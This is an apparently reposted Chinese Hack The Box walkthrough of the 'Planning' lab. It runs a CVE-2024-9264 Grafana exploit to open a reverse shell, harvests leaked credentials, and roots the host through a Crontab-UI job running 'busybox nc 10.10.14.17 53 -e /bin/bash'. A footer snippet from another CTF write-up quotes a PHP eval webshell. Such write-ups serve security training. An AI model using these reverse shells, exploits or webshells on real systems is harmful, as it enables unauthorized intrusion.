HTB-Planning

article/2025/8/24 10:10:18

在这里插入图片描述

一、初始侦察与立足点建立

1.1 端口扫描与服务识别
对目标主机 10.10.11.68 进行全端口扫描,以识别开放的服务。

sudo nmap 10.10.11.68 -p- --min-rate=5000 -A

图1: Nmap 扫描结果显示开放 22 (SSH) 和 80 (HTTP) 端口
图1: Nmap 扫描结果显示开放 22 (SSH) 和 80 (HTTP) 端口,重点关注 80 端口的 Web 服务。

1.2 Web 服务探索与目录爆破
访问 80 端口的 Web 服务,发现其重定向至 http://planning.htb/。将该域名添加到本地 DNS 解析文件 (/etc/hosts)后进行访问。

图2: 访问 http://planning.htb/,显示一个 PHP 开发的教育课程网站
图2: 访问 http://planning.htb/,显示一个 PHP 开发的教育课程网站。

使用 feroxbuster 对网站进行目录爆破,寻找敏感文件或路径。

feroxbuster -u http://planning.htb -x php

图3: Feroxbuster 目录爆破结果,发现一个 LICENSE 文件
图3: Feroxbuster 目录爆破结果,发现一个 LICENSE 文件。

查看 LICENSE 文件内容,并通过搜索引擎查询,判断该网站是基于这个公开的 Web 模板开发的,接近是一个静态网站,很难有从这里利用的路径。

图4: LICENSE 文件内容截图
图4: LICENSE 文件内容,指向一个通用 Web 模板。

1.3 子域名爆破与 Grafana 发现
尝试进行子域名爆破。但没有任何发现。

ffuf -u 'http://planning.htb' -H 'host:FUZZ.planning.htb' -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -t 100 -fs 178

图5: 使用小字典进行子域名爆破,无有效发现
图5: 使用小字典进行子域名爆破,无有效发现。

靶机给了我们初始的凭证,已经明示了有 Web 站点了。暂时没有其他思路,换用更大的字典接着进行子域名爆破,成功发现新的子域名。

ffuf -u 'http://planning.htb' -H 'host:FUZZ.planning.htb' -w /usr/share/wordlists/seclists/Discovery/DNS/combined_subdomains.txt -t 100 -fs 178

图6: 使用大字典进行子域名爆破,成功发现 grafana.planning.htb
图6: 使用大字典进行子域名爆破,成功发现 grafana.planning.htb

grafana.planning.htb 添加到本地 DNS 解析后访问,发现是一个 Grafana 服务界面。Grafana 是一个开源的数据可视化和监控平台。

图7: 访问 grafana.planning.htb,显示 Grafana 登录界面
图7: 访问 grafana.planning.htb,显示 Grafana 登录界面。

1.4 Grafana 登录与漏洞利用 (CVE-2024-9264)
使用靶机提供的初始凭证 admin / 0D5oT70Fq13EvB5r 尝试登录 Grafana 系统。

图8: 使用初始凭证成功登录 Grafana 系统
图8: 使用初始凭证 admin / 0D5oT70Fq13EvB5r 成功登录 Grafana 系统。

登录后,没有发现有版本信息,搜索 Grafana 相关的已知漏洞,发现一个近期披露的漏洞 CVE-2024-9264。无论如何先尝试利用。

图9: 网络搜索到的 Grafana 相关漏洞信息 (CVE-2024-9264)
图9: 网络搜索到的 Grafana 相关漏洞信息 (CVE-2024-9264)。

利用找到的 PoC 脚本,设置反向 Shell 连接至攻击机 10.10.14.1753 端口。

python3 poc.py --url http://grafana.planning.htb/ --username admin --password 0D5oT70Fq13EvB5r --reverse-ip 10.10.14.17 --reverse-port 53

图10: 成功利用 CVE-2024-9264 获得反向 Shell
图10: 成功利用 CVE-2024-9264 获得反向 Shell,当前用户为 root。

1.5 Docker 容器内信息收集
检查当前 Shell 环境,发现存在 /.dockerenv 文件,表明当前 Shell 位于 Docker 容器内部。

ls -alh /.dockerenv

图11: /.dockerenv 文件存在,确认当前环境为 Docker 容器
图11: /.dockerenv 文件存在,确认当前环境为 Docker 容器。

在容器内部署并运行 linpeas.sh 脚本进行信息收集,寻找敏感信息或逃逸路径。

图12: 在 Docker 容器内上传并运行 linpeas.sh
图12: 在 Docker 容器内上传并运行 linpeas.sh

linpeas.sh 的输出结果中,在环境变量部分发现了泄露的凭证:enzo / RioTecRANDEntANT!

图13: Linpeas.sh 发现环境变量中泄露的用户 enzo 的凭证
图13: Linpeas.sh 发现环境变量中泄露的用户 enzo 的凭证。

二、主机渗透与横向移动

2.1 SSH 登录与主机信息枚举
利用在 Docker 容器内发现的凭证 enzo / RioTecRANDEntANT! 尝试通过 SSH 登录宿主机 (10.10.11.68)。

图14: 使用 enzo 的凭证成功通过 SSH 登录宿主机
图14: 使用 enzo 的凭证成功通过 SSH 登录宿主机。

登录后,进行基本的手动信息枚举。查看网络连接,发现宿主机本地开放了 30008000 端口。其中 3000 端口为之前访问的 Grafana 服务。

图15: 主机本地端口监听情况,3000 和 8000 端口引起注意
图15: 主机本地端口监听情况,30008000 端口引起注意。

2.2 本地端口转发与服务识别
为了访问宿主机本地的 8000 端口服务,使用 SSH 本地端口转发功能。

ssh -N -L 8000:127.0.0.1:8000 enzo@10.10.11.68

图16: 访问本地转发的 8000 端口,服务需要认证
图16: 访问本地转发的 8000 端口,服务需要认证。尝试之前获取的凭证均失败。

为了确定 8000 端口运行的服务及潜在的提权向量,再次在宿主机上上传并运行 linpeas.sh 进行更全面的信息收集。

图17: 在宿主机上运行 linpeas.sh 进行信息收集
图17: 在宿主机上运行 linpeas.sh 进行信息收集。

三、权限提升:Crontab-UI

3.1 Crontab-UI 凭证获取
仔细审查 linpeas.sh 在宿主机上的输出,发现一个名为 crontab-ui 的应用进程,这个程序很陌生,并不是 Linux 上内置或者常见的,可能与 8000 端口的服务相关。

图18: Linpeas.sh 输出中发现 crontab-ui 进程
图18: Linpeas.sh 输出中发现 crontab-ui 进程。

同时,在 /opt 目录下发现一个名为 crontabs 的目录,其中包含 crontab.db 文件,推测这可能是 crontab-ui 的数据库或配置文件。

图19: /opt/crontabs/crontab.db 文件路径被发现
图19: /opt/crontabs/crontab.db 文件路径被发现。

查看 crontab.db 文件内容。

cat /opt/crontabs/crontab.db

图20: crontab.db 文件内容中包含参数 -P P4ssw0rdS0pRi0T3c
图20: crontab.db 文件内容中包含参数 -P P4ssw0rdS0pRi0T3c,这极有可能是 crontab-ui 的登录密码。

3.2 Crontab-UI 登录与利用
尝试使用用户名 root 和从 crontab.db 中获取的密码 P4ssw0rdS0pRi0T3c 登录本地转发的 8000 端口上的 Web 服务。

图21: 使用 root / P4ssw0rdS0pRi0T3c 成功登录 Crontab-UI
图21: 使用 root / P4ssw0rdS0pRi0T3c 成功登录 Crontab-UI 界面,这是一个计划任务管理平台。

Crontab-UI 允许以 root 权限管理和执行计划任务。我们可以利用此功能创建一个反弹 Shell 的任务。

图22: 在 Crontab-UI 中创建新的计划任务,命令为反弹 Shell
图22: 在 Crontab-UI 中创建一个新的计划任务,设置为每分钟执行,命令为 busybox nc 10.10.14.17 53 -e /bin/bash,保存并手动触发执行。

3.3 获取 Root Shell
在攻击机上监听 53 端口,等待 Crontab-UI 执行计划任务。

图23: 成功接收到 Crontab-UI 触发的反弹 Shell,获得宿主机 root 权限
图23: 成功接收到 Crontab-UI 触发的反弹 Shell,获得宿主机 root 权限。

至此,已成功获取目标主机的最高权限。



http://www.hkcw.cn/article/nPIidAoEct.shtml

相关文章

2025LitCTF 复现

easy_file 登录界面 尝试admin 和密码1 没成功 结果尝试了弱口令 admin 用户和 password 密码就登录成功了 文件上传 新建一个空的 新建木马.txt 文件发现上传成功 然后写入一句话木马 <?php eval($_POST[a]); ?> 上传失败 说明可能是有字符被过滤了&#xff0c;猜…

痉挛性斜颈的健康护理要点:从日常管理到康复辅助

痉挛性斜颈是一种颈部肌肉不自主收缩导致头部歪斜、扭转的神经运动障碍性疾病&#xff0c;常伴随颈部疼痛、肌肉僵硬&#xff0c;严重影响生活质量。除规范治疗外&#xff0c;科学的健康护理可缓解症状、延缓进展&#xff0c;以下是关键护理要点&#xff1a; 一、姿势管理&…

翻斗式雨量计技术说明

一、产品构造 翻斗式雨量计由不锈钢外护罩、塑料承水口、过滤网、漏斗、工作平台、磁钢、干式舌簧管、轴承螺钉、翻斗部件等组成。其中&#xff0c;计量翻斗采用工程塑料注射成型&#xff0c;由中间隔板分为两个等容积三角斗室&#xff0c;构成机械双稳态结构。 二、工作原理…

DeepSeek:不同模式(v3、R1)如何选择?

1.三种模式对比 如下&#xff1a;基础版就是什么都不选的情况 2.V3和R1对比 v3 VS R1&#xff1a; 仅限于文本生成的任务&#xff1a; 开放性任务&#xff1a;V3好一点 规范性任务&#xff1a;V3好点 使用R1的时候&#xff0c;不要给示例&#xff0c;他比你聪明&#xff0c;…

腾讯已数次否认微信已读功能 辟谣频繁上热搜

腾讯已数次否认微信已读功能 辟谣频繁上热搜!如果微信出了已读功能,腾讯官方辟谣多少次不会出已读了,这话题咋经常上热搜[允悲]想要已读功能的不如去喊自己好友用钉钉和飞书联系[doge]责任编辑:0882

俄方对德国的威胁会让德国人退缩吗?

俄方对德国的威胁会让德国人退缩吗?德国新政府成立后,总理默茨对支持乌克兰的态度,比前总理朔尔茨更积极。目前至少有4个迹象显示,德国对俄乌战争更悲观,已经准备好对俄罗斯更严厉的措施。第一,默茨透露,英法德等欧洲强国和美国已经取消了给乌克兰武器射程的限制,这意味…

端午节将至,这4样物品要提前准备 节日习俗必备

端午节将至,这4样物品要提前准备 节日习俗必备!端午节临近,这是中国四大传统节日之一,与春节、清明节和中秋节齐名。关于端午的起源有许多说法,其中最广为人知的是为了纪念屈原。端午节在农历五月,这个月份由于天气炎热,毒虫活动频繁,被人们称为“恶月”或“毒月”。因…

美国法院与特朗普比变脸 关税政策遭法律挑战

曼哈顿的美国贸易法庭裁定特朗普政府此前推行的“解放日”关税政策违宪,并下令该措施不得生效。法院认为,特朗普在对那些对美出口额超过进口额的国家统一征收关税时,已经超越了其法定权限。美国宪法赋予国会专有权管理与其他国家的贸易,而特朗普用于保护美国经济的国际紧急…

寻宠团队收近5000元定金没找到钱也不退 高成功率承诺引争议

团队成立至今,已帮助上千只宠物成功回家。宠物丢失后,专业团队能提供快速找回服务。找猫的黄金时间是72小时,错过这个时间可能会让猫咪的“躲猫猫”游戏变成永久遗憾。在社交平台上搜索“寻找宠物”,可以找到多家寻宠团队。咨询数个寻宠团队后发现,他们自称寻宠成功率高达…

乘火车哪些能带哪些不能带 假期出行指南

明天就是端午节了,假期坐火车时,了解哪些物品可以携带上车很重要。关于露营车、婴儿车、平衡车等是否能带上火车,这里有一份指南供参考。责任编辑:zhangxiaohua

法院恢复特朗普关税政策背后博弈几何 政治与经济的双重考量

法院恢复特朗普关税政策背后博弈几何 政治与经济的双重考量!当地时间29日,美国联邦巡回上诉法院批准特朗普政府的请求,暂时搁置了美国国际贸易法院此前禁止执行特朗普政府加征关税行政令的裁决。这一事件不仅反映了美国国内复杂的政治生态,也对全球贸易秩序和经济格局产生了…

沈阳:中甲辽宁铁人与石家庄功夫比赛提醒 建议公交出行

沈阳:中甲辽宁铁人与石家庄功夫比赛提醒 建议公交出行!为了方便大家找到合适的公共交通方式,交警部门已整理了附近的公交和地铁路线。地铁方面,可乘坐地铁1号线至“重工街”站下车,从A口出站。公交方面,可选择以下路线: - 乘坐114路、241路支线、254路公交车至“铁西区体…

15人获刑 银川富洋烧烤店31死爆炸案宣判

2025年5月30日上午,银川市兴庆区人民法院依法对宁夏银川富洋烧烤店“621”特别重大燃气爆炸事故涉刑事案件一审公开宣判。对银川富洋烧烤民族街店投资人、实际经营者张洪显和刘国,宁夏龙江清洁能源有限公司实际控制人崔文波,宁夏国华检测技术有限公司法定代表人、股东周志国…

Go语言码支付系统安装教程

Supervisor安装 安装Supervisor守护工具 上传程序安装包 说明 点击文件并创建文件夹上传程序安装包并解压 配置Supervisor 点击软件商店&#xff0c;找到Supervisor进程守护管理器,点击打开点击添加守护进程名称填写&#xff1a;xarrpay&#xff0c;启动用户默认为root…

招牌改色风波后 三河新任书记到位

招牌改色风波后 三河新任书记到位。澎湃新闻记者从相关方面独家获悉,原任河北保定蠡县县委书记的陈伟近日已跨市调任廊坊三河市委书记。陈伟 资料图公开资料显示,陈伟,男,汉族,1975年11月生,河北安国人,1996年11月参加工作,1997年7月加入中国共产党,省委党校研究生学历…

北京17岁中学生从北坡登顶珠峰 创未成年登顶纪录

北京17岁中学生从北坡登顶珠峰 创未成年登顶纪录。2025年5月25日上午6:39,17岁少年李浩榕成功从北坡登顶珠穆朗玛峰。他不仅是中国首位从北坡登顶珠峰的未成年男生,也是全球首位完成这一壮举的中学生。他来自北京市朝阳区第八十中学。从海拔5200米的珠峰大本营到8848.86米的顶…

段某需赔偿胖东来40万道歉30天 名誉权纠纷案宣判

2025年5月28日,许昌市魏都区人民法院公开审理了原告许昌市胖东来商贸集团有限公司与被告段某的名誉权纠纷案,并当庭宣判。法院判决段某在其个人抖音账号“两个小段(小)”发布书面道歉信视频,内容需经法院审核,发布后30日内不得删除;同时,段某需赔偿许昌市胖东来商贸集团…

基于KG生成语料增强解决RAG问答幻觉问题的简单框架-WalkRetrieve

Walk&Retrieve基于知识图谱&#xff0c;利用基于图遍历和知识表述来进行零样本RAG的语料库生成。解决RAG系统的幻觉问题。该框架思路比较简单&#xff0c;核心点在于零样本RAG的语料库生成&#xff0c;下面来看看&#xff0c;供参考。 语料生成 在框架中&#xff0c;语料生…

AI智慧高光谱遥感:99个案例项目、全覆盖技术链与应用场景

在遥感技术飞速发展的今天&#xff0c;高光谱数据以其独特的光谱分辨率成为环境监测、精准农业、地质勘探等领域的核心数据源。然而&#xff0c;海量的波段数据、复杂的预处理流程、以及传统方法在特征提取和分类精度上的局限&#xff0c;让许多从业者望而却步。 第一部分&…

美国对中国产大飞机动手了 促国产动力加速研发

美国暂停向中国出售部分关键技术,包括喷气发动机相关技术。此举针对正在与空客和波音竞争的中国商飞,该公司正开发国产商用飞机C919。据《纽约时报》报道,美国商务部已暂停部分允许美国公司向中国商飞出售产品和技术的许可证。路透社也证实,美国商务部正在审查对中国具有战…